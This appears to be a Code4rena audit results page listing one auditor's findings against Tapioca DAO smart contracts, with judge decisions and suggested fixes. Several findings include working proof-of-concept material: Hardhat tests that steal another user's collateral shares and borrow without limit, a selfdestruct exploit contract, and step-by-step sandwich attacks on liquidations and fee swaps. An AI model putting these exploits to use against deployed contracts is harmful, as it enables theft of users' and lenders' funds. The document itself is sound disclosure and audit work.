Platform: Code4rena
Start Date: 05/07/2023
Pot Size: $390,000 USDC
Total HM: 136
Participants: 132
Period: about 1 month
Judge: LSDan
Total Solo HM: 56
Id: 261
League: ETH
Rank: 11/132
Findings: 14
Award: $6,783.06
π Selected for report: 4
π Solo Findings: 0
π Selected for report: Ack
Also found by: 0xG0P1, 0xRobocop, 0xStalin, KIntern_NA, Koolex, Oxsadeeq, RedOneN, TiesStevelink, ayeslick, bin2chen, cergyk, kaden, ladboy233, ltyu, plainshift, rvierdiiev, xuwinnie, zzzitron
26.5521 USDC - $26.55
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L288 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLCollateral.sol#L27
The addCollateral
methods in both BigBang and Singularity contracts allow the share parameter to be passed as 0
. When share
is 0
, the equivalent amount of shares is calculated using the YieldBox toShare
method. However, there is a modifier named allowedBorrow
that is intended to check the allowed borrowing amount for each implementation of the addCollateral
methods. Unfortunately, the modifier is called with the share
value passed to addCollateral
, and in the case of 0
, it will always pass.
// MarketERC20.sol function _allowedBorrow(address from, uint share) internal { if (from != msg.sender) { if (allowanceBorrow[from][msg.sender] < share) { revert NotApproved(from, msg.sender); } allowanceBorrow[from][msg.sender] -= share; } } // BigBang.sol function addCollateral( address from, address to, bool skim, uint256 amount, uint256 share // @audit share is calculated afterwords the modifier ) public allowedBorrow(from, share) notPaused { _addCollateral(from, to, skim, amount, share); } function _addCollateral( address from, address to, bool skim, uint256 amount, uint256 share ) internal { if (share == 0) { share = yieldBox.toShare(collateralId, amount, false); } userCollateralShare[to] += share; uint256 oldTotalCollateralShare = totalCollateralShare; totalCollateralShare = oldTotalCollateralShare + share; _addTokens( from, to, collateralId, share, oldTotalCollateralShare, skim ); emit LogAddCollateral(skim ? address(yieldBox) : from, to, share); }
This leads to various critical scenarios in BigBang and Singularity markets where user assets can be stolen, and collateral share can be increased infinitely which in turn leads to infinite USDO borrow/mint and borrowing max assets from Singularity market.
Refer to Proof of Concept for attack examples
High - allows stealing of arbitrary user yieldbox shares in BigBang contract and Singularity. In the case of BigBang this leads to infinite minting of USDO. Effectively draining all markets and LPs where USDO has value. In the case of Singularity this leads to infinite borrowing, allowing an attacker to obtain possession of all other users' collateral in Singularity.
it('allows steal other user YieldBox collateral shares', async () => { const { wethBigBangMarket, weth, wethAssetId, yieldBox, deployer: userA, eoa1: userB, } = await loadFixture(register); await weth.approve(yieldBox.address, ethers.constants.MaxUint256); await yieldBox.setApprovalForAll(wethBigBangMarket.address, true); const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul( 10, ); await weth.freeMint(wethMintVal); const valShare = await yieldBox.toShare( wethAssetId, wethMintVal, false, ); // User A deposit assets to yieldbox, receives shares await yieldBox.depositAsset( wethAssetId, userA.address, userA.address, 0, valShare, ); let userABalance = await yieldBox.balanceOf( userA.address, wethAssetId, ) expect(userABalance.gt(0)).to.be.true; expect(userABalance.eq(valShare)).to.be.true; // User B adds collateral to big bang from user A shares await expect(wethBigBangMarket.connect(userB).addCollateral( userA.address, userB.address, false, wethMintVal, 0, )).to.emit(yieldBox, "TransferSingle") .withArgs(wethBigBangMarket.address, userA.address, wethBigBangMarket.address, wethAssetId, valShare); userABalance = await yieldBox.balanceOf( userA.address, wethAssetId, ) expect(userABalance.eq(0)).to.be.true; let collateralShares = await wethBigBangMarket.userCollateralShare( userB.address, ); expect(collateralShares.gt(0)).to.be.true; expect(collateralShares.eq(valShare)).to.be.true; // User B removes collateral await wethBigBangMarket.connect(userB).removeCollateral( userB.address, userB.address, collateralShares, ); collateralShares = await wethBigBangMarket.connect(userB).userCollateralShare( userA.address, ); expect(collateralShares.eq(0)).to.be.true; // User B ends up with User A shares in yieldbox let userBBalance = await yieldBox.balanceOf( userB.address, wethAssetId, ) expect(userBBalance.gt(0)).to.be.true; expect(userBBalance.eq(valShare)).to.be.true; });
x / x + 1
share of the collateral for the caller with no shares in the pool, where x is the number of times the addColateral
is called, effectively allowing for infinite borrowing. As a consequence, the attacker can continuously increase their share of the collateral without limits, leading to potentially excessive borrowing of assets from the Singularity market.it('allows to infinitely increase user collateral share in BigBang', async () => { const { wethBigBangMarket, weth, wethAssetId, yieldBox, deployer: userA, eoa1: userB, } = await loadFixture(register); await weth.approve(yieldBox.address, ethers.constants.MaxUint256); await yieldBox.setApprovalForAll(wethBigBangMarket.address, true); const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul( 10, ); await weth.freeMint(wethMintVal); const valShare = await yieldBox.toShare( wethAssetId, wethMintVal, false, ); // User A deposit assets to yieldbox, receives shares await yieldBox.depositAsset( wethAssetId, userA.address, userA.address, 0, valShare, ); let userABalance = await yieldBox.balanceOf( userA.address, wethAssetId, ) expect(userABalance.gt(0)).to.be.true; expect(userABalance.eq(valShare)).to.be.true; // User A adds collateral to BigBang await wethBigBangMarket.addCollateral( userA.address, userA.address, false, wethMintVal, 0, ); let bigBangBalance = await yieldBox.balanceOf( wethBigBangMarket.address, wethAssetId, ) expect(bigBangBalance.eq(valShare)).to.be.true; let userACollateralShare = await wethBigBangMarket.userCollateralShare( userA.address, ); expect(userACollateralShare.gt(0)).to.be.true; expect(userACollateralShare.eq(valShare)).to.be.true; let userBCollateralShare = await wethBigBangMarket.userCollateralShare( userB.address, ); expect(userBCollateralShare.eq(0)).to.be.true; // User B is able to increase his share to 50% of the whole collateral added await expect(wethBigBangMarket.connect(userB).addCollateral( wethBigBangMarket.address, userB.address, false, wethMintVal, 0, )).to.emit(yieldBox, "TransferSingle") userBCollateralShare = await wethBigBangMarket.userCollateralShare( userB.address, ); expect(userBCollateralShare.gt(0)).to.be.true; expect(userBCollateralShare.eq(valShare)).to.be.true; // User B is able to increase his share to 66% of the whole collateral added await expect(wethBigBangMarket.connect(userB).addCollateral( wethBigBangMarket.address, userB.address, false, wethMintVal, 0, )).to.emit(yieldBox, "TransferSingle") userBCollateralShare = await wethBigBangMarket.userCollateralShare( userB.address, ); expect(userBCollateralShare.gt(0)).to.be.true; expect(userBCollateralShare.eq(valShare.mul(2))).to.be.true; // .... });
it('allows infinite borrow of USDO', async () => { const { wethBigBangMarket, weth, wethAssetId, yieldBox, deployer: userA, eoa1: userB, } = await loadFixture(register); await weth.approve(yieldBox.address, ethers.constants.MaxUint256); await yieldBox.setApprovalForAll(wethBigBangMarket.address, true); const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul( 10, ); await weth.freeMint(wethMintVal); const valShare = await yieldBox.toShare( wethAssetId, wethMintVal, false, ); // User A deposit assets to yieldbox, receives shares await yieldBox.depositAsset( wethAssetId, userA.address, userA.address, 0, valShare, ); let userABalance = await yieldBox.balanceOf( userA.address, wethAssetId, ) expect(userABalance.gt(0)).to.be.true; expect(userABalance.eq(valShare)).to.be.true; // User A adds collateral to BigBang await wethBigBangMarket.addCollateral( userA.address, userA.address, false, wethMintVal, 0, ); let bigBangBalance = await yieldBox.balanceOf( wethBigBangMarket.address, wethAssetId, ) expect(bigBangBalance.eq(valShare)).to.be.true; let userACollateralShare = await wethBigBangMarket.userCollateralShare( userA.address, ); expect(userACollateralShare.gt(0)).to.be.true; expect(userACollateralShare.eq(valShare)).to.be.true; await wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000"); await expect( wethBigBangMarket.borrow(userA.address, userA.address, "7450000000000000000000") ).to.be.reverted; await expect(wethBigBangMarket.addCollateral( wethBigBangMarket.address, userA.address, false, wethMintVal, 0, )).to.emit(yieldBox, "TransferSingle") await wethBigBangMarket.borrow(userA.address, userA.address, "7500000000000000000000"); await expect(wethBigBangMarket.addCollateral( wethBigBangMarket.address, userA.address, false, wethMintVal, 0, )).to.emit(yieldBox, "TransferSingle") await wethBigBangMarket.borrow(userA.address, userA.address, "7530000000000000000000"); // .... });
Manual review
Other
#0 - c4-pre-sort
2023-08-05T02:58:33Z
minhquanym marked the issue as duplicate of #55
#1 - c4-judge
2023-09-12T17:38:47Z
dmvt marked the issue as selected for report
π Selected for report: windhustler
Also found by: Ack
1163.4744 USDC - $1,163.47
BaseTOFT#exerciseOption
is a function for exercising an oTAP position. The reason for this function to be located in BaseTOFT is not immediately clear, but it allows for the caller to exercise an arbitrary oTAP option cross-chain.
However, as written the function takes input from the caller and proceeds to execute calls on the user-supplied addresses with user-supplied parameters, without any input validation. This allows an attacker to drain the contract of any assets it holds, including those that have been deposited via wrap()
.
The function call chain to exercise an option here is:
1. BaseTOFT#exerciseOption(optionsData, lzData, tapSendData, approvals) (delegatecall) -> 2. BaseTOFTOptionsModule#exerciseOption(...) -> 3. BaseTOFT#_nonblockingLzReceive(PT_TAP_EXERCISE, ...) (delegatecall) -> 4. BaseTOFTOptionsModule#exercise(...) (delegatecall) -> 5. BaseTOFTOptionsModule#exerciseInternal(...)
exerciseInternal()
is below:
function exerciseInternal( // @audit-issue ALL input here are user-supplied and unvalidated address from, // attacker address uint256 oTAPTokenID, // n/a address paymentToken, // n/a uint256 tapAmount, // amount currently wrapped in BaseTOFT address target, // attacker contract, just needs to not revert when `exerciseOption()` is called on it ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData memory tapSendData, // need to specify withdrawOnAnotherChain as false and tapOftAddress as the address of the token that the TOFT wraps (i.e. the underlying) ICommonData.IApproval[] memory approvals // @audit empty ) public { if (approvals.length > 0) { // @audit length == 0 so skip this _callApproval(approvals); } ITapiocaOptionsBroker(target).exerciseOption( // @audit attacker contract that just doesn't revert oTAPTokenID, paymentToken, tapAmount ); if (tapSendData.withdrawOnAnotherChain) { // @audit skip this by supplying withdrawOnAnotherChain == false ISendFrom(tapSendData.tapOftAddress).sendFrom( address(this), tapSendData.lzDstChainId, LzLib.addressToBytes32(from), tapAmount, ISendFrom.LzCallParams({ refundAddress: payable(from), zroPaymentAddress: tapSendData.zroPaymentAddress, adapterParams: LzLib.buildDefaultAdapterParams( tapSendData.extraGas ) }) ); } else { // @audit-issue steal tokens here. // "transfer tapAmount of the underlying from this contract to the attacker ('from')" IERC20(tapSendData.tapOftAddress).safeTransfer(from, tapAmount); } }
High - direct theft of funds
This function is untested in the test suite and makes extensive use of layerzero + custom structs, which makes creating a coded POC additionally time-consuming. The attack itself is also relatively straightforward (sending tokens directly to the attacker from the contract). If there is any dispute around the validity of this finding please contact me and I will put one together.
Manual review
I'm not sure if this function is deliberately included in this contract. It should likely be removed, as normal TOFTs do not have options functionality described in the documentation.
Token-Transfer
#0 - c4-pre-sort
2023-08-08T03:22:11Z
minhquanym marked the issue as duplicate of #1307
#1 - c4-judge
2023-09-27T20:16:04Z
dmvt marked the issue as satisfactory
π Selected for report: peakbolt
Also found by: Ack, Nyx, carrotsmuggler, n1punp, rvierdiiev
254.4518 USDC - $254.45
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L313, https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLLiquidation.sol#L33
Singularity and BigBang liquidations are designed to take arrays of users and borrowParts as arguments and iterate through the arrays, liquidating each individual user. However, the collateralToAssetSwapData -> swapData -> dexData
is a bytes argument that is decoded into a single uint256.
function _liquidateUser( ... bytes calldata dexData // this is the same as collateralToAssetSwapData ) { // ... uint256 minAssetAmount = 0; if (dexData.length > 0) { minAssetAmount = abi.decode(dexData, (uint256)); } // ...
As a result, each liquidation must use the same (likely very low) minAmountOut, as the swap will revert if too high of a value is used. This can result in loss of funds, as this "minAmountOut" is the liquidation's only protection against receiving mispriced (sandwiched) swaps (see #337).
High - liquidation sandwiches can lead to loss of funds for lenders and protocol insolvency. Separate issue but impact is piggy-backing on #337.
See #337
Manual review
Token-Transfer
#0 - c4-pre-sort
2023-08-06T11:32:18Z
minhquanym marked the issue as duplicate of #122
#1 - c4-judge
2023-09-21T12:34:35Z
dmvt marked the issue as satisfactory
π Selected for report: Ack
Also found by: 0x73696d616f, 0xrugpull_detector, ACai, BPZ, Breeje, CrypticShepherd, Kaysoft, carrotsmuggler, cergyk, kodyvim, ladboy233, offside0011
73.0221 USDC - $73.02
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L184-L193 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L160-L168 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L189-L200 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L152-L162 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOLeverageModule.sol#L169-L1788 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOMarketModule.sol#L168-L176 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/modules/USDOOptionsModule.sol#L174-L185
All TOFT and USDO modules have public functions that allow an attacker to supply an address module
that is later used as a destination for a delegatecall. This can point to an attacker-controlled contract that is used to selfdestruct the module.
// USDOLeverageModule:leverageUp function leverageUp( address module, uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload ) public { // .. snip .. (bool success, bytes memory reason) = module.delegatecall( //@audit-issue arbitrary destination delegatecall abi.encodeWithSelector( this.leverageUpInternal.selector, amount, swapData, externalData, lzData, leverageFor ) ); if (!success) { if (balanceAfter - balanceBefore >= amount) { IERC20(address(this)).safeTransfer(leverageFor, amount); } revert(_getRevertMsg(reason)); //forward revert because it's handled by the main executor } // .. snip .. }
Both BaseTOFT and BaseUSDO initialize the module addresses to state variables in the constructor. Because there are no setter functions to adjust these variables post-deployment, the modules are permanently locked to the addresses specified in the constructor. If those addresses are selfdestructed, the modules are rendered unusable and all calls to these modules will revert. This cannot be repaired.
// BaseUSDO.sol:constructor constructor( address _lzEndpoint, IYieldBoxBase _yieldBox, address _owner, address payable _leverageModule, address payable _marketModule, address payable _optionsModule ) BaseUSDOStorage(_lzEndpoint, _yieldBox) ERC20Permit("USDO") { leverageModule = USDOLeverageModule(_leverageModule); marketModule = USDOMarketModule(_marketModule); optionsModule = USDOOptionsModule(_optionsModule); transferOwnership(_owner); }
Attacker can deploy the Exploit
contract below, and then call each of the vulnerable functions with the address of the Exploit
contract as the module
parameter. This will cause the module to selfdestruct, rendering it unusable.
pragma solidity ^0.8.18; contract Exploit { address payable constant attacker = payable(address(0xbadbabe)); fallback() external payable { selfdestruct(attacker); } }
Manual Review
The module
parameter should be removed from the calldata in each of the vulnerable functions. Since the context of the call into these functions are designed to be delegatecalls and the storage layouts of the modules and the Base contracts are the same, the module
address can be retreived from storage instead. This will prevent attackers from supplying arbitrary addresses as delegatecall destinations.
call/delegatecall
#0 - c4-pre-sort
2023-08-05T11:17:50Z
minhquanym marked the issue as duplicate of #146
#1 - c4-judge
2023-09-13T10:24:04Z
dmvt marked the issue as selected for report
π Selected for report: Ack
Also found by: 0xG0P1, KIntern_NA, cergyk, rvierdiiev
132.315 USDC - $132.31
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/singularity/SGLLeverage.sol#L147-L186 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L336-L375
BigBang and Singularity both have a buyCollateral
function designed to allow users to lever up by borrowing more assets and buying collateral with it. In BigBang this is a public function, and in Singularity this is a accessible through a public function that ties into the SGLLeverage module. Effectively these have the same implementation.
Due to an ineffective check on the swap's final output collateralShare
, an attacker can steal any user's approvals of asset
to BigBang or Singularity. An attacker can also cause any user to borrow extra assets and buy collateral with it up until the point that the user is barely still solvent. Combined with a sandwich attack this can be used to steal the new collateral.
Notably the function takes a address from
parameter, which allows the caller to specify any address as the user that is borrowing and buying collateral. Two checks are attempted to prevent this from being abused:
solvent(from)
modifier_allowedBorrow(from, collateralShare)
checkIn actuality, the solvent(from)
only limits the damage and the _allowedBorrow(from, collateralShare)
check can be manipulated or outright bypassed.
The exploit hinges on abusing the _allowedBorrow(from, collateralShare)
check. This is designed to check the allowance of msg.sender
for from
, but will pass in all cases if collateralShare
is 0.
function _allowedBorrow(address from, uint share) internal { if (from != msg.sender) { if (allowanceBorrow[from][msg.sender] < share) { revert NotApproved(from, msg.sender); } allowanceBorrow[from][msg.sender] -= share; } }
In order to get collateralShare
as 0, the amountOut
of the swapper.swap()
call must be 0.
(amountOut, collateralShare) = swapper.swap( swapData, minAmountOut, //@audit minAmountOut attacker supplied from, dexData );
The attacker provides minAmountOut
, and in certain instances can manipulate the swap using a sandwich to return 0.
The protocol initially has 3 Swappers listed:
The UniswapV2Swapper and UniswapV3Swapper are both vulnerable to this attack, though with exceptions.
For UniswapV2Swapper, with a large enough flashmint the attacker can skew the curve enough to return 0. This would require reserves to be small and the flashmint to be inexpensive, but both are possible. BigBang supports USDO flashmints and has admin-setter functions for flashmint fees and max limits that both don't have bounds. Seems reasonable to think the flashmints have potential to be free and unlimited.
For UniswapV3Swapper, the same scenario as V2 applies as well as the possibility that full-range liquidity is not supplied. In this case the attacker needs less capital to skew the curve enough to return 0.
CurveSwapper is not vulnerable to this attack, as in the implementation it is not possible to return 0.
// CurveSwapper.sol function _swapTokensForTokens( int128 i, int128 j, uint256 amountIn, uint256 amountOutMin ) private returns (uint256) { // .. snip curvePool.exchange(i, j, amountIn, amountOutMin); uint256 balanceAfter = IERC20(tokenOut).balanceOf(address(this)); require(balanceAfter > balanceBefore, "swap failed"); return balanceAfter - balanceBefore; //@audit always > 0 }
It seems reasonable to assume that in the future new swappers could be introduced - such as support for UniswapX. In a case of a new swapper implementation where a user is directly filled for minAmountOut
, this vulnerability becomes trivial to exploit.
In a much more simple case than the amountOut == 0
extreme, if the attacker has any approvals from a user to borrow, that allowance can be abused. All of the current swappers are vulnerable to attacker sandwiches, which lowers amountOut
. While having amountOut == 0
is difficult, skewing any of the swappers to have amountOut < allowanceBorrow[from][msg.sender]
is much easier.
Attacker controls supplyAmount
and from
. This portion of the code means any user's approvals of asset
to BigBang or Singularity can be sent to the swapper.
uint256 supplyShare = yieldBox.toShare(assetId, supplyAmount, true); if (supplyShare > 0) { yieldBox.transfer(from, address(swapper), assetId, supplyShare); }
Attacker controls borrowAmount
and from
. This portion of the code performs the _borrow
action for the user up to borrowAmount
.
uint256 borrowShare; (, borrowShare) = _borrow(from, address(swapper), borrowAmount); //USDO shares
Note that the from
user's solvency is checked at the end of the function via the solvent(from)
modifier, so the attacker cannot cause a borrow that brings the user to insolvency.
In the maximum impact case, an attacker can steal any user's approvals of asset
to BigBang or Singularity as well as force any user to borrow extra assets and buy collateral with it up until the point that the user is barely still solvent. Combined with a sandwich attack this can be used to steal the approved assets as well as the new collateral.
In the case that has reduced surface but easier replication, any user that has pre-approved another user for allowanceBorrow[from][msg.sender]
falls victim to these same attacks.
The PoC hinges on the atomic sandwich of the swapper.
buyCollateral(target, max_borrowable, full_approvals, 0, swapper, dexData)
yieldbox.transfer
line move all of the user's asset approvals to the swapper._borrow()
line move extra borrowed assets to the swapper.swapper.swap()
will fetch (0, 0)
due to the skewed price_allowedBorrow()
passessolvent(from)
checks for the user's solvency, which passesManual Review
Perform transfer allowance checks for the user's approvals before performing the yieldBox.transfer(from, address(swapper), assetId, supplyShare);
Perform the _allowedBorrow
check for the borrowShare`` that takes place before
swapper.swap. ie:
if (borrowShare > 0) { _allowedBorrow(from, borrowShare); }`
Other
#0 - c4-pre-sort
2023-08-05T12:30:37Z
minhquanym marked the issue as duplicate of #147
#1 - c4-judge
2023-09-13T11:50:07Z
dmvt changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-09-13T11:53:09Z
dmvt marked the issue as selected for report
453.755 USDC - $453.76
When a user's Singularity or BigBang borrow position becomes insolvent (i.e. the value of their collateral * the collateralization rate is worth less than their borrowed amount), anyone is able to call:
BigBang/SGLLiquidation#liquidate( address[] calldata users, // users to liquidate uint256[] calldata maxBorrowParts, // their borrow ISwapper swapper, // swapper, checked to be valid bytes calldata collateralToAssetSwapData, // serves as minAmountOut bytes calldata usdoToBorrowedSwapData // n/a ) external notPaused {
The key point here is that collateralToAssetSwapData
is decoded into the swap's minAmountOut and is caller provided. Assuming there is no LiquidationQueue with sufficient bids, a closed liquidation will be performed (the protocol sells the collateral that it is holding).
The function call sequence will be liquidate() -> _closedLiquidation() -> _liquidateUser()
. Both contracts are vulnerable to the same exploit.
function _liquidateUser(...) { // snipped (calculate LTV, liquidation reward for caller) // Closed liquidation // Transfer yieldbox shares directly from Singularity to the Swapper. // !!! The liquidator does NOT provide any of his own funds !!! yieldBox.transfer( address(this), address(swapper), collateralId, collateralShare ); // Decode the caller-provided minAssetAmount (serves as minAmountOut in the swap - can be 0) uint256 minAssetAmount = 0; if (dexData.length > 0) { minAssetAmount = abi.decode(dexData, (uint256)); } ISwapper.SwapData memory swapData = swapper.buildSwapData( collateralId, assetId, 0, collateralShare, true, // withdrawFromYieldbox true // depositToYieldbox ); swapper.swap(swapData, minAssetAmount, address(this), "");
Because we are executing a closed liquidation (funds are transferred directly from Singularity to the Swapper) and the liquidator can specify a minAmountOut of 0, an attacker can execute a sandwich attack on their own call to .liquidate()
and steal the entire amount being liquidated. Note that this can all be executed in one transaction and does not require any transaction bundling techniques like traditional sandwich attacks.
Below is a proof of concept that performs the following:
There are then two cases, a happy case an an evil case
Happy case:
Evil case:
Note that this POC is limited by the freeMint()
restrictions in the ERC20 mocks - while the attacker is slightly profitable in this example as POC, he could steal the entire amount being liquidated by imbalancing the pool more.
Both Singularity and Big Bang are vulnerable to this exploit.
High
Drop the test below into singularity.test.ts
. Output is shown (note the profitibality in the attacker's usdc balance after, as well as the difference between the two cases in "yieldbox strategy weth balance after")
EVIL CASE yieldbox before: yieldbox strategy weth balance before: 2600 yieldbox strategy usdc balance before: 10000000 liquidatee borrowpart before: 7403700000000000000000 attacker before: atkEoa usdc balance before first swap: 1000000 atkEoa weth balance before first swap: 0 atkEoa usdc balance after first swap: 0 atkEoa weth balance after first swap: 996 liquidating... yieldbox after: yieldbox strategy weth balance after: 7510 diff: 4910 yieldbox strategy usdc balance after: 5040660 diff: -4959339 liquidatee borrowpart after: 3378262499999999999993 attacker after: atkEoa usdc balance after second swap: 1003869 atkEoa weth balance after second swap: 0 β evil case liquidation (1094ms) HAPPY CASE yieldbox before: yieldbox strategy weth balance before: 2600 yieldbox strategy usdc balance before: 10000000 victim borrowpart before: 7403700000000000000000 liquidating... yieldbox after: yieldbox strategy weth balance after: 7520 diff: 4920 yieldbox strategy usdc balance after: 5040660 diff: -4959339 victim borrowpart after: 3378262499999999999993 β happy case liquidation (no sandwich) (592ms)
gist linkΒ to test: https://gist.github.com/g-01234/71c1901b55db630ec417970754a45794
Manual review
Comptroller#liquidateCalculateSeizeTokens
Invalid Validation
#0 - c4-pre-sort
2023-08-06T11:04:15Z
minhquanym marked the issue as primary issue
#1 - 0xRektora
2023-08-16T16:06:54Z
Duplicates of #157
#2 - c4-sponsor
2023-09-06T06:13:59Z
cryptotechmaker marked the issue as disagree with severity
#3 - cryptotechmaker
2023-09-06T06:16:42Z
ERC20Mocks is not used in production. However, the scenario is still valid, but unlikely to happen because the attacker has to respect some prerequisites mainly involving holding huge amounts of that respective asset, one being USDO which can be minted using BigBang (for which you have to provide collateral) or bought from DEXes.
Medium
would be a more fair tag for the issue.
#4 - c4-sponsor
2023-09-06T06:16:51Z
cryptotechmaker (sponsor) confirmed
#5 - c4-judge
2023-09-21T12:27:13Z
dmvt changed the severity to 2 (Med Risk)
#6 - c4-judge
2023-09-21T12:28:10Z
dmvt marked the issue as selected for report
π Selected for report: 0xWaitress
Also found by: Ack, BPZ, Breeje, LosPollosHermanos, Madalad, Nyx, Ruhum, SaeedAlipoor01988, ayeslick, c7e7eff, carrotsmuggler, cergyk, dirk_y, hack3r-0m, iglyx, kaden, kodyvim, kutugu, ladboy233, ltyu, mojito_auditor, n1punp, rvierdiiev, unsafesol, zzzitron
2.1417 USDC - $2.14
Market fees in the tapioca ecosystem get collected via withdrawAllMarketFees
. This function allows each market to withdraw its accrued fees, convert the tokens to the native asset, and send them to yieldbox.
The withdrawAllMarketFees
function is publicly callable and does not limit who can execute this function. It also does not validate the minAssetAmount
parameter, which specifies the minimum asset amount for the swap operation.
The logic of withdrawAllMarketFees
flows into _withdrawAllProtocolFees
where each individual market and swapper provided gets iterated over.
function _withdrawAllProtocolFees( ISwapper[] calldata swappers_, IPenrose.SwapData[] calldata swapData_, IMarket[] memory markets_ ) private { uint256 length = markets_.length; unchecked { for (uint256 i = 0; i < length; ) { _depositFeesToYieldBox(markets_[i], swappers_[i], swapData_[i]); ++i; } } }
Inside _depositFeesToYieldBox
, the market assetId is compared against the wethAssetId. If the asset is not WETH, the tokens are swapped to WETH and deposited into yieldbox. The dexData.minAssetAmount
parameter is used as the minimum amount of WETH to receive from the swap operation. Since this value is set by an attacker, it can be set 0 and the swap can be atomically sandwiched.
function _depositFeesToYieldBox( IMarket market, ISwapper swapper, IPenrose.SwapData calldata dexData ) private { // .. snip uint256 assetId = market.assetId(); if (assetId != wethAssetId) { // asset is not WETH, so swap the token to WETH and deposit WETH as the fee // give our swapper the tokens yieldBox.transfer( address(this), address(swapper), assetId, feeShares ); // build swap data to swap tokens to WETH ISwapper.SwapData memory swapData = swapper.buildSwapData( assetId, //tokenInID wethAssetId, //tokenOutID 0, //amountIn feeShares, //shareIn true, //withdrawFromYb true //depositToYb ); // execute swapper.swap(). this will swap the tokens to WETH and deposit any amountOut into yieldbox (amount, ) = swapper.swap( swapData, dexData.minAssetAmount, feeTo, "" ); } // .. snip }
High - The conversion step for non-native fees can be exploited by a malicious actor that manipulates the market conditions of the chosen Swapper
using an atomic sandwich attack, where the attacker manipulates the token price before and after the swap operation, forcing the protocol to get ~zero value for the accrued fees and the attacker pocketing the rest.
withdrawAllMarketFees
for the markets that the tokens are a part of.
The profit for the attacker is approximately equal to the accrued fees. The attacker is effectively stealing all the fees earned by the protocol.
Manual Review
To mitigate this vulnerability, the following steps should be considered:
withdrawAllMarketFees
function should be access-controlled to prevent unauthorized calls. Only trusted addresses (e.g., admin, or a specific set of addresses) should be able to call this function.Other
#0 - c4-pre-sort
2023-08-06T06:11:40Z
minhquanym marked the issue as duplicate of #266
#1 - c4-judge
2023-09-19T11:43:48Z
dmvt marked the issue as duplicate of #245
#2 - c4-judge
2023-09-22T22:14:40Z
dmvt changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-09-22T22:17:26Z
dmvt marked the issue as satisfactory